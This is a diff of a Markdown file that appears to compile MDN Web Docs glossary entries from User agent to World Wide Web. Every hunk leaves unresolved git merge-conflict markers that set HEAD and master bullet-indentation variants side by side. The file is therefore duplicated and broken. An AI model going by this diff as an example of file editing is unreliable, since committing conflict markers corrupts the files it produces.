 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Usenet"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Usenet"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: User agent
 
+<<<<<<< HEAD
 - Browser
 - Glossary
 - UA
@@ -13495,6 +20711,17 @@ URLs can also be used for file transfer (_Glossary("FTP"_)) , emails (_Glossary(
 - agent
 - user agent
 - userAgent
+=======
+-   Browser
+-   Glossary
+-   UA
+-   User-agent
+-   Web Browser
+-   WebMechanics
+-   agent
+-   user agent
+-   userAgent
+>>>>>>> master
 
 ---
 
@@ -13510,6 +20737,7 @@ A typical user agent string looks like this: `"Mozilla/5.0 (X11; Ubuntu; Linux x
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "User agent"_) on Wikipedia
 - _domxref("Navigator/userAgent", "NavigatorID.userAgent"_)
 - [Browser detection using the user agent](/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent)
@@ -13521,16 +20749,37 @@ A typical user agent string looks like this: `"Mozilla/5.0 (X11; Ubuntu; Linux x
 - HTTP Headers
 
     - _HTTPHeader("User-agent"_)
+=======
+-   _interwiki("wikipedia", "User agent"_) on Wikipedia
+-   _domxref("Navigator/userAgent", "NavigatorID.userAgent"_)
+-   [Browser detection using the user agent](/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent)
+-   _RFC(2616, "14.43"_): The `User-Agent` header
+-   [Glossary:](/en-US/docs/Glossary)
+
+    -   _Glossary("Browser"_)
+
+-   HTTP Headers
+
+    -   _HTTPHeader("User-agent"_)
+>>>>>>> master
 
 ---
 
 ## Term: UTF-8
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - HTML
 - JavaScript
 - Utf-8
+=======
+-   CodingScripting
+-   Glossary
+-   HTML
+-   JavaScript
+-   Utf-8
+>>>>>>> master
 
 ---
 
@@ -13540,15 +20789,25 @@ The first 128 UTF-8 characters precisely match the first 128 ASCII characters (n
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "UTF-8"_) on Wikipedia
 - [FAQ about UTF-8 on Unicode website](https://www.unicode.org/faq/utf_bom.html#UTF8)
+=======
+-   _Interwiki("wikipedia", "UTF-8"_) on Wikipedia
+-   [FAQ about UTF-8 on Unicode website](https://www.unicode.org/faq/utf_bom.html#UTF8)
+>>>>>>> master
 
 ---
 
 ## Term: UUID
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -13565,18 +20824,31 @@ The formal definition can be found in: [RFC4122: A Universally Unique IDentifier
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "UUID"_) on Wikipedia
 - [`Crypto.randomUUID()`](/en-US/docs/Web/API/Crypto/randomUUID)
+=======
+-   _Interwiki("wikipedia", "UUID"_) on Wikipedia
+-   [`Crypto.randomUUID()`](/en-US/docs/Web/API/Crypto/randomUUID)
+>>>>>>> master
 
 ---
 
 ## Term: UX
 
+<<<<<<< HEAD
 - Accessibility
 - Composing
 - Design
 - Glossary
 - Navigation
+=======
+-   Accessibility
+-   Composing
+-   Design
+-   Glossary
+-   Navigation
+>>>>>>> master
 
 ---
 
@@ -13586,15 +20858,25 @@ The system can be any kind of product or application that an end user is meant t
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "User experience"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "User experience"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Validator
 
+<<<<<<< HEAD
 - Beginner
 - Glossary
 - Security
+=======
+-   Beginner
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -13602,16 +20884,27 @@ The system can be any kind of product or application that an end user is meant t
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Validator"_) on Wikipedia
 - [Short list of validators](/en-US/docs/Tools/Validators)
+=======
+-   _Interwiki("wikipedia", "Validator"_) on Wikipedia
+-   [Short list of validators](/en-US/docs/Tools/Validators)
+>>>>>>> master
 
 ---
 
 ## Term: Value
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - NeedsContent
+=======
+-   CodingScripting
+-   Glossary
+-   NeedsContent
+>>>>>>> master
 
 ---
 
@@ -13619,15 +20912,25 @@ The system can be any kind of product or application that an end user is meant t
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Primitive wrapper class"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Primitive wrapper class"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Variable
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -13635,16 +20938,27 @@ The system can be any kind of product or application that an end user is meant t
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Variable (computer science)"_) on Wikipedia
 - [Declaring variables in JavaScript](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#declarations)
 - [`var` statement in JavaScript](/en-US/docs/Web/JavaScript/Reference/Statements/var)
+=======
+-   _Interwiki("wikipedia", "Variable (computer science)"_) on Wikipedia
+-   [Declaring variables in JavaScript](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#declarations)
+-   [`var` statement in JavaScript](/en-US/docs/Web/JavaScript/Reference/Statements/var)
+>>>>>>> master
 
 ---
 
 ## Term: Vendor Prefix
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -13658,10 +20972,17 @@ The system can be any kind of product or application that an end user is meant t
 
 The major browsers use the following prefixes:
 
+<<<<<<< HEAD
 - `-webkit-` (Chrome, Safari, newer versions of Opera, almost all iOS browsers including Firefox for iOS; basically, any WebKit based browser)
 - `-moz-` (Firefox)
 - `-o-` (old pre-WebKit versions of Opera)
 - `-ms-` (Internet Explorer and Microsoft Edge)
+=======
+-   `-webkit-` (Chrome, Safari, newer versions of Opera, almost all iOS browsers including Firefox for iOS; basically, any WebKit based browser)
+-   `-moz-` (Firefox)
+-   `-o-` (old pre-WebKit versions of Opera)
+-   `-ms-` (Internet Explorer and Microsoft Edge)
+>>>>>>> master
 
 Sample usage:
 
@@ -13679,23 +21000,41 @@ Historically, vendors have also used prefixes for experimental APIs. If an entir
 
 Prefixes for interface names are upper-cased:
 
+<<<<<<< HEAD
 - `WebKit` (Chrome, Safari, newer versions of Opera, almost all iOS browsers (including Firefox for iOS); basically, any WebKit based browser)
 - `Moz` (Firefox)
 - `O` (Older, pre-WebKit, versions of Opera)
 - `MS` (Internet Explorer and Microsoft Edge)
+=======
+-   `WebKit` (Chrome, Safari, newer versions of Opera, almost all iOS browsers (including Firefox for iOS); basically, any WebKit based browser)
+-   `Moz` (Firefox)
+-   `O` (Older, pre-WebKit, versions of Opera)
+-   `MS` (Internet Explorer and Microsoft Edge)
+>>>>>>> master
 
 ### Property and method prefixes
 
 The prefixes for properties and methods are lower-case:
 
+<<<<<<< HEAD
 - `webkit` (Chrome, Safari, newer versions of Opera, almost all iOS browsers (including Firefox for iOS); basically, any WebKit based browser)
 - `moz` (Firefox)
 - `o` (Old, pre-WebKit, versions of Opera)
 - `ms` (Internet Explorer and Microsoft Edge)
+=======
+-   `webkit` (Chrome, Safari, newer versions of Opera, almost all iOS browsers (including Firefox for iOS); basically, any WebKit based browser)
+-   `moz` (Firefox)
+-   `o` (Old, pre-WebKit, versions of Opera)
+-   `ms` (Internet Explorer and Microsoft Edge)
+>>>>>>> master
 
 Sample usage:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var requestAnimationFrame =
     window.requestAnimationFrame ||
     window.mozRequestAnimationFrame ||
@@ -13706,16 +21045,27 @@ var requestAnimationFrame =
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "CSS_hack#Browser_prefixes", "Vendor prefix"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "CSS_hack#Browser_prefixes", "Vendor prefix"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Viewport
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Layout
 - viewport
+=======
+-   CodingScripting
+-   Glossary
+-   Layout
+-   viewport
+>>>>>>> master
 
 ---
 
@@ -13725,20 +21075,35 @@ The portion of the viewport that is currently visible is called the **_Glossary(
 
 #### See also
 
+<<<<<<< HEAD
 - [Visual Viewport API](/en-US/docs/Web/API/Visual_Viewport_API)
 - _Interwiki("wikipedia", "Viewport"_) on Wikipedia
 - [A tale of two viewports](https://www.quirksmode.org/mobile/viewports.html) (Quirksmode)
 - _Glossary("Visual viewport"_) in the MDN Glossary
 - _Glossary("Layout viewport"_) in the MDN Glossary
+=======
+-   [Visual Viewport API](/en-US/docs/Web/API/Visual_Viewport_API)
+-   _Interwiki("wikipedia", "Viewport"_) on Wikipedia
+-   [A tale of two viewports](https://www.quirksmode.org/mobile/viewports.html) (Quirksmode)
+-   _Glossary("Visual viewport"_) in the MDN Glossary
+-   _Glossary("Layout viewport"_) in the MDN Glossary
+>>>>>>> master
 
 ---
 
 ## Term: Visual Viewport
 
+<<<<<<< HEAD
 - Glossary
 - VisualViewport
 - viewport
 - visual viewport
+=======
+-   Glossary
+-   VisualViewport
+-   viewport
+-   visual viewport
+>>>>>>> master
 
 ---
 
@@ -13746,19 +21111,33 @@ The portion of the viewport that is currently visible is called the **_Glossary(
 
 #### See also
 
+<<<<<<< HEAD
 - [Visual Viewport API](/en-US/docs/Web/API/Visual_Viewport_API)
 - _Interwiki("wikipedia", "Viewport"_) on Wikipedia
 - [A tale of two viewports](https://www.quirksmode.org/mobile/viewports.html) (Quirksmode)
 - _Glossary("Viewport"_) in the MDN Glossary
 - _Glossary("Layout viewport"_) in the MDN Glossary
+=======
+-   [Visual Viewport API](/en-US/docs/Web/API/Visual_Viewport_API)
+-   _Interwiki("wikipedia", "Viewport"_) on Wikipedia
+-   [A tale of two viewports](https://www.quirksmode.org/mobile/viewports.html) (Quirksmode)
+-   _Glossary("Viewport"_) in the MDN Glossary
+-   _Glossary("Layout viewport"_) in the MDN Glossary
+>>>>>>> master
 
 ---
 
 ## Term: VoIP
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - VoIP
+=======
+-   Glossary
+-   Infrastructure
+-   VoIP
+>>>>>>> master
 
 ---
 
@@ -13768,18 +21147,31 @@ VoIP allows you to make a call directly from a computer, a special VoIP phone, o
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "VoIP"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "VoIP"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: W3C
 
+<<<<<<< HEAD
 - Community
 - Consortium
 - Glossary
 - Intro
 - W3C
 - Web consortium
+=======
+-   Community
+-   Consortium
+-   Glossary
+-   Intro
+-   W3C
+-   Web consortium
+>>>>>>> master
 
 ---
 
@@ -13791,15 +21183,25 @@ Each standard passes through four stages of maturity: Working Draft (WD), Candid
 
 #### See also
 
+<<<<<<< HEAD
 - [W3C website](https://www.w3.org/)
 - _Interwiki("wikipedia", "World Wide Web Consortium", "W3C"_) on Wikipedia
+=======
+-   [W3C website](https://www.w3.org/)
+-   _Interwiki("wikipedia", "World Wide Web Consortium", "W3C"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: WAI
 
+<<<<<<< HEAD
 - Accessibility
 - Glossary
+=======
+-   Accessibility
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -13807,17 +21209,29 @@ Each standard passes through four stages of maturity: Working Draft (WD), Candid
 
 #### See also
 
+<<<<<<< HEAD
 - [WAI website](https://www.w3.org/WAI/)
 - _Interwiki("wikipedia", "Web Accessibility Initiative"_) on Wikipedia
+=======
+-   [WAI website](https://www.w3.org/WAI/)
+-   _Interwiki("wikipedia", "Web Accessibility Initiative"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: WCAG
 
+<<<<<<< HEAD
 - Accessibility
 - Glossary
 - WCAG
 - Web Guidelines
+=======
+-   Accessibility
+-   Glossary
+-   WCAG
+-   Web Guidelines
+>>>>>>> master
 
 ---
 
@@ -13827,6 +21241,7 @@ WCAG 2.0 which superseded WCAG 1.0 was published as a W3C Recommendation on 11 D
 
 WCAG uses three levels of conformance:
 
+<<<<<<< HEAD
 - Priority 1: Web developers **must** satisfy these requirements, otherwise it will be impossible for one or more groups to access the Web content. Conformance to this level is described as A.
 - Priority 2: Web developers **should** satisfy these requirements, otherwise some groups will find it difficult to access the Web content. Conformance to this level is described as AA or Double-A.
 - Priority 3: Web developers **may** satisfy these requirements, in order to make it easier for some groups to access the Web content. Conformance to this level is described as AAA or Triple-A.
@@ -13836,15 +21251,33 @@ WCAG uses three levels of conformance:
 - _Interwiki("wikipedia", "Web Content Accessibility Guidelines", "WCAG"_) on Wikipedia
 - [Accessibility information on MDN](/en-US/docs/Web/Accessibility/Information_for_Web_authors)
 - [The WCAG 2.0 recommendation at the W3C](https://www.w3.org/TR/WCAG20/)
+=======
+-   Priority 1: Web developers **must** satisfy these requirements, otherwise it will be impossible for one or more groups to access the Web content. Conformance to this level is described as A.
+-   Priority 2: Web developers **should** satisfy these requirements, otherwise some groups will find it difficult to access the Web content. Conformance to this level is described as AA or Double-A.
+-   Priority 3: Web developers **may** satisfy these requirements, in order to make it easier for some groups to access the Web content. Conformance to this level is described as AAA or Triple-A.
+
+#### See also
+
+-   _Interwiki("wikipedia", "Web Content Accessibility Guidelines", "WCAG"_) on Wikipedia
+-   [Accessibility information on MDN](/en-US/docs/Web/Accessibility/Information_for_Web_authors)
+-   [The WCAG 2.0 recommendation at the W3C](https://www.w3.org/TR/WCAG20/)
+>>>>>>> master
 
 ---
 
 ## Term: Web performance
 
+<<<<<<< HEAD
 - Glossary
 - Perceived Performance
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   Perceived Performance
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -13854,15 +21287,25 @@ Objectively, it is measurable time, in milliseconds, it takes for the web page o
 
 #### See also
 
+<<<<<<< HEAD
 - [Learn about web performance](/en-US/docs/Learn/Performance)
 - [Perceived performance](/en-US/docs/Glossary/Perceived_performance)
+=======
+-   [Learn about web performance](/en-US/docs/Learn/Performance)
+-   [Perceived performance](/en-US/docs/Glossary/Perceived_performance)
+>>>>>>> master
 
 ---
 
 ## Term: Web server
 
+<<<<<<< HEAD
 - web server
 - web-server
+=======
+-   web server
+-   web-server
+>>>>>>> master
 
 ---
 
@@ -13870,18 +21313,31 @@ Objectively, it is measurable time, in milliseconds, it takes for the web page o
 
 #### See also
 
+<<<<<<< HEAD
 - [Introduction to servers](/en-US/docs/Learn/Common_questions/What_is_a_web_server)
 - _Interwiki("wikipedia", "Server (computing)"_) on Wikipedia
+=======
+-   [Introduction to servers](/en-US/docs/Learn/Common_questions/What_is_a_web_server)
+-   _Interwiki("wikipedia", "Server (computing)"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Web standards
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Web Standards
 - standards
 - web specifications
+=======
+-   Glossary
+-   Infrastructure
+-   Web Standards
+-   standards
+-   web specifications
+>>>>>>> master
 
 ---
 
@@ -13891,6 +21347,7 @@ Several standards bodies are responsible for defining different aspects of the W
 
 This non-exhaustive list gives you an idea of which standards websites and network systems must conform to:
 
+<<<<<<< HEAD
 - **IETF** (Internet Engineering Task Force): Internet standards (STD), which among other things govern set-up and use of _Glossary("URI", "URIs"_), _Glossary("HTTP"_), and _Glossary("MIME"_)
 - **_Glossary("W3C"_)**: specifications for markup language (e.g., _Glossary("HTML"_)), style definitions (i.e., _Glossary("CSS"_)), _Glossary("DOM"_), _Glossary("Accessibility", "accessibility"_)
 - **IANA** (Internet Assigned Numbers Authority): name and number registries
@@ -13900,13 +21357,29 @@ This non-exhaustive list gives you an idea of which standards websites and netwo
 #### See also
 
 - _Interwiki("wikipedia", "Web standards"_) on Wikipedia
+=======
+-   **IETF** (Internet Engineering Task Force): Internet standards (STD), which among other things govern set-up and use of _Glossary("URI", "URIs"_), _Glossary("HTTP"_), and _Glossary("MIME"_)
+-   **_Glossary("W3C"_)**: specifications for markup language (e.g., _Glossary("HTML"_)), style definitions (i.e., _Glossary("CSS"_)), _Glossary("DOM"_), _Glossary("Accessibility", "accessibility"_)
+-   **IANA** (Internet Assigned Numbers Authority): name and number registries
+-   **Ecma Intl.:** scripting standards, most prominently for _Glossary("JavaScript"_)
+-   **_Glossary("ISO"_)** (International Organization for Standardization): standards governing a diverse array of aspects, including character encodings, website management, and user-interface design
+
+#### See also
+
+-   _Interwiki("wikipedia", "Web standards"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: WebAssembly
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -13914,16 +21387,27 @@ This non-exhaustive list gives you an idea of which standards websites and netwo
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki('wikipedia','WebAssembly'_) on Wikipedia
 - [Official website](https://webassembly.org/)
 - [WebAssembly](/en-US/docs/WebAssembly) on MDN
+=======
+-   _interwiki('wikipedia','WebAssembly'_) on Wikipedia
+-   [Official website](https://webassembly.org/)
+-   [WebAssembly](/en-US/docs/WebAssembly) on MDN
+>>>>>>> master
 
 ---
 
 ## Term: WebDAV
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -13933,6 +21417,7 @@ WebDAV is rarely used alone, but two extensions are very common: _Glossary("CalD
 
 WebDAV allows clients to
 
+<<<<<<< HEAD
 - add, delete, and retrieve webpage metadata (e.g. author or creation date)
 - link pages of any media type to related pages
 - create sets of documents and retrieve hierarchical list
@@ -13947,15 +21432,38 @@ WebDAV allows clients to
     - _rfc(2518_)
     - _rfc(3253_)
     - _rfc(3744_)
+=======
+-   add, delete, and retrieve webpage metadata (e.g. author or creation date)
+-   link pages of any media type to related pages
+-   create sets of documents and retrieve hierarchical list
+-   copy and move webpages
+-   lock a document from being edited by more than one person at a time
+
+#### See also
+
+-   _Interwiki("wikipedia", "WebDAV"_) on Wikipedia
+-   Specifications:
+
+    -   _rfc(2518_)
+    -   _rfc(3253_)
+    -   _rfc(3744_)
+>>>>>>> master
 
 ---
 
 ## Term: WebExtensions
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - NeedsContent
 - WebExtensions
+=======
+-   CodingScripting
+-   Glossary
+-   NeedsContent
+-   WebExtensions
+>>>>>>> master
 
 ---
 
@@ -13963,17 +21471,29 @@ WebDAV allows clients to
 
 #### See also
 
+<<<<<<< HEAD
 - [Browser extensions](/en-US/docs/Mozilla/Add-ons/WebExtensions) on MDN
+=======
+-   [Browser extensions](/en-US/docs/Mozilla/Add-ons/WebExtensions) on MDN
+>>>>>>> master
 
 ---
 
 ## Term: WebGL
 
+<<<<<<< HEAD
 - Advanced
 - CodingScripting
 - Glossary
 - Web Graphics
 - WebGL
+=======
+-   Advanced
+-   CodingScripting
+-   Glossary
+-   Web Graphics
+-   WebGL
+>>>>>>> master
 
 ---
 
@@ -13987,18 +21507,31 @@ All major _Glossary("Browser","browsers"_) now support WebGL, but its availabili
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "WebGL"_) on Wikipedia
 - [Check for WebGL support](https://get.webgl.org/)
 - [WebGL on MDN](/en-US/docs/Web/API/WebGL_API)
 - [Support table for WebGL](https://caniuse.com/#feat=webgl)
+=======
+-   _Interwiki("wikipedia", "WebGL"_) on Wikipedia
+-   [Check for WebGL support](https://get.webgl.org/)
+-   [WebGL on MDN](/en-US/docs/Web/API/WebGL_API)
+-   [Support table for WebGL](https://caniuse.com/#feat=webgl)
+>>>>>>> master
 
 ---
 
 ## Term: WebIDL
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - WebIDL
+=======
+-   CodingScripting
+-   Glossary
+-   WebIDL
+>>>>>>> master
 
 ---
 
@@ -14008,21 +21541,37 @@ WebIDL is used in nearly every API _Glossary("specification"_) for the Web, and
 
 #### See also
 
+<<<<<<< HEAD
 - [Specification](https://www.w3.org/TR/WebIDL/)
 - [Information contained in a WebIDL file](/en-US/docs/MDN/Contribute/Howto/Write_an_API_reference/Information_contained_in_a_WebIDL_file)
 - [WebIDL bindings](/en-US/docs/Mozilla/WebIDL_bindings)
 - _interwiki("wikipedia", "WebIDL"_)
+=======
+-   [Specification](https://www.w3.org/TR/WebIDL/)
+-   [Information contained in a WebIDL file](/en-US/docs/MDN/Contribute/Howto/Write_an_API_reference/Information_contained_in_a_WebIDL_file)
+-   [WebIDL bindings](/en-US/docs/Mozilla/WebIDL_bindings)
+-   _interwiki("wikipedia", "WebIDL"_)
+>>>>>>> master
 
 ---
 
 ## Term: WebKit
 
+<<<<<<< HEAD
 - Browser
 - Glossary
 - Intro
 - Web
 - WebKit
 - WebMechanics
+=======
+-   Browser
+-   Glossary
+-   Intro
+-   Web
+-   WebKit
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -14034,17 +21583,29 @@ WebKit is an Apple trademark, and the framework is distributed under a BSD-form
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "WebKit"_) on Wikipedia
 - [WebKit CSS extensions](/en-US/docs/Web/CSS/WebKit_Extensions)
+=======
+-   _Interwiki("wikipedia", "WebKit"_) on Wikipedia
+-   [WebKit CSS extensions](/en-US/docs/Web/CSS/WebKit_Extensions)
+>>>>>>> master
 
 ---
 
 ## Term: WebM
 
+<<<<<<< HEAD
 - Composing
 - Glossary
 - Infrastructure
 - WebM
+=======
+-   Composing
+-   Glossary
+-   Infrastructure
+-   WebM
+>>>>>>> master
 
 ---
 
@@ -14052,17 +21613,29 @@ WebKit is an Apple trademark, and the framework is distributed under a BSD-form
 
 #### See also
 
+<<<<<<< HEAD
 - [WebM ](https://en.wikipedia.org/wiki/WebM)on Wikipedia
+=======
+-   [WebM ](https://en.wikipedia.org/wiki/WebM)on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: WebP
 
+<<<<<<< HEAD
 - Beginner
 - Composing
 - Glossary
 - Infrastructure
 - WebP
+=======
+-   Beginner
+-   Composing
+-   Glossary
+-   Infrastructure
+-   WebP
+>>>>>>> master
 
 ---
 
@@ -14070,12 +21643,17 @@ WebKit is an Apple trademark, and the framework is distributed under a BSD-form
 
 #### See also
 
+<<<<<<< HEAD
 - [WebP ](https://en.wikipedia.org/wiki/WebP)on Wikipedia
+=======
+-   [WebP ](https://en.wikipedia.org/wiki/WebP)on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: WebRTC
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Infrastructure
@@ -14084,6 +21662,16 @@ WebKit is an Apple trademark, and the framework is distributed under a BSD-form
 - VoIP
 - Web
 - WebRTC
+=======
+-   CodingScripting
+-   Glossary
+-   Infrastructure
+-   JavaScript
+-   P2P
+-   VoIP
+-   Web
+-   WebRTC
+>>>>>>> master
 
 ---
 
@@ -14091,6 +21679,7 @@ WebKit is an Apple trademark, and the framework is distributed under a BSD-form
 
 WebRTC consists mainly of these parts:
 
+<<<<<<< HEAD
 - _domxref("MediaDevices.getUserMedia", "getUserMedia()"_)
 - - : Grants access to a device's camera and/or microphone, and can plug in their signals to a
 - _domxref("RTCPeerConnection"_)
@@ -14103,11 +21692,26 @@ WebRTC consists mainly of these parts:
 - _Interwiki("wikipedia", "WebRTC"_) on Wikipedia
 - [WebRTC API on MDN](/en-US/docs/Web/API/WebRTC_API)
 - [Browser support for WebRTC](https://caniuse.com/rtcpeerconnection)
+=======
+-   _domxref("MediaDevices.getUserMedia", "getUserMedia()"_)
+-   -   : Grants access to a device's camera and/or microphone, and can plug in their signals to a
+-   _domxref("RTCPeerConnection"_)
+    -   : An interface to configure video chat or voice calls.
+-   _domxref("RTCDataChannel"_)
+    -   : Provides a method to set up a _Glossary("P2P", "peer-to-peer"_) data pathway between browsers.
+
+#### See also
+
+-   _Interwiki("wikipedia", "WebRTC"_) on Wikipedia
+-   [WebRTC API on MDN](/en-US/docs/Web/API/WebRTC_API)
+-   [Browser support for WebRTC](https://caniuse.com/rtcpeerconnection)
+>>>>>>> master
 
 ---
 
 ## Term: WebSockets
 
+<<<<<<< HEAD
 - Connection
 - Glossary
 - Infrastructure
@@ -14115,6 +21719,15 @@ WebRTC consists mainly of these parts:
 - Protocols
 - Web
 - WebSocket
+=======
+-   Connection
+-   Glossary
+-   Infrastructure
+-   Networking
+-   Protocols
+-   Web
+-   WebSocket
+>>>>>>> master
 
 ---
 
@@ -14124,21 +21737,37 @@ Any client or server application can use WebSocket, but principally web _Glossar
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Websocket"_) on Wikipedia
 - [WebSocket reference on MDN](/en-US/docs/Web/API/WebSocket)
 - [Writing WebSocket client applications](/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications)
 - [Writing WebSocket servers](/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_servers)
+=======
+-   _Interwiki("wikipedia", "Websocket"_) on Wikipedia
+-   [WebSocket reference on MDN](/en-US/docs/Web/API/WebSocket)
+-   [Writing WebSocket client applications](/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications)
+-   [Writing WebSocket servers](/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_servers)
+>>>>>>> master
 
 ---
 
 ## Term: WebVTT
 
+<<<<<<< HEAD
 - Audio
 - CodingScripting
 - Glossary
 - Video
 - Web
 - WebVTT
+=======
+-   Audio
+-   CodingScripting
+-   Glossary
+-   Video
+-   Web
+-   WebVTT
+>>>>>>> master
 
 ---
 
@@ -14148,14 +21777,21 @@ WebVTT files provide metadata that is time-aligned with audio or video content l
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "WebVTT"_) on Wikipedia
 - [WebVTT](/en-US/docs/Web/API/WebVTT_API) on MDN
 - [Specification](https://www.w3.org/TR/webvtt1/)
+=======
+-   _Interwiki("wikipedia", "WebVTT"_) on Wikipedia
+-   [WebVTT](/en-US/docs/Web/API/WebVTT_API) on MDN
+-   [Specification](https://www.w3.org/TR/webvtt1/)
+>>>>>>> master
 
 ---
 
 ## Term: WHATWG
 
+<<<<<<< HEAD
 - Community
 - DOM
 - Glossary
@@ -14164,6 +21800,16 @@ WebVTT files provide metadata that is time-aligned with audio or video content l
 - WHATWG
 - Web
 - standards
+=======
+-   Community
+-   DOM
+-   Glossary
+-   HTML
+-   HTML5
+-   WHATWG
+-   Web
+-   standards
+>>>>>>> master
 
 ---
 
@@ -14171,16 +21817,27 @@ WebVTT files provide metadata that is time-aligned with audio or video content l
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "WHATWG"_) on Wikipedia
 - [WHATWG website](https://whatwg.org/)
+=======
+-   _Interwiki("wikipedia", "WHATWG"_) on Wikipedia
+-   [WHATWG website](https://whatwg.org/)
+>>>>>>> master
 
 ---
 
 ## Term: Whitespace
 
+<<<<<<< HEAD
 - Glossary
 - Lexical Grammar
 - whitespace
+=======
+-   Glossary
+-   Lexical Grammar
+-   whitespace
+>>>>>>> master
 
 ---
 
@@ -14198,6 +21855,7 @@ The [ECMAScript Language Specification](https://tc39.es/ecma262/#sec-white-space
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Whitespace character"_) (Wikipedia)
 - [How whitespace is handled by HTML, CSS, and in the DOM](/en-US/docs/Web/API/Document_Object_Model/Whitespace)
 - _cssxref("white-space"_)
@@ -14207,6 +21865,17 @@ The [ECMAScript Language Specification](https://tc39.es/ecma262/#sec-white-space
     - [ECMAScript Language Specification](https://tc39.es/ecma262/#sec-white-space)
 
 - [Glossary](/en-US/docs/Glossary)
+=======
+-   _interwiki("wikipedia", "Whitespace character"_) (Wikipedia)
+-   [How whitespace is handled by HTML, CSS, and in the DOM](/en-US/docs/Web/API/Document_Object_Model/Whitespace)
+-   _cssxref("white-space"_)
+-   Specifications
+
+    -   [ASCII whitespace spec](https://infra.spec.whatwg.org/#ascii-whitespace)
+    -   [ECMAScript Language Specification](https://tc39.es/ecma262/#sec-white-space)
+
+-   [Glossary](/en-US/docs/Glossary)
+>>>>>>> master
 
     1.  _Glossary("Character"_)
 
@@ -14214,9 +21883,15 @@ The [ECMAScript Language Specification](https://tc39.es/ecma262/#sec-white-space
 
 ## Term: WindowProxy
 
+<<<<<<< HEAD
 - Glossary
 - Window
 - WindowProxy
+=======
+-   Glossary
+-   Window
+-   WindowProxy
+>>>>>>> master
 
 ---
 
@@ -14224,17 +21899,29 @@ The [ECMAScript Language Specification](https://tc39.es/ecma262/#sec-white-space
 
 #### See also
 
+<<<<<<< HEAD
 - HTML specification: [WindowProxy section](https://html.spec.whatwg.org/multipage/window-object.html#the-windowproxy-exotic-object)
 - Stack Overflow question: [WindowProxy and Window objects?](https://stackoverflow.com/q/16092835/)
+=======
+-   HTML specification: [WindowProxy section](https://html.spec.whatwg.org/multipage/window-object.html#the-windowproxy-exotic-object)
+-   Stack Overflow question: [WindowProxy and Window objects?](https://stackoverflow.com/q/16092835/)
+>>>>>>> master
 
 ---
 
 ## Term: World Wide Web
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - WWW
 - World Wide Web
+=======
+-   Glossary
+-   Infrastructure
+-   WWW
+-   World Wide Web
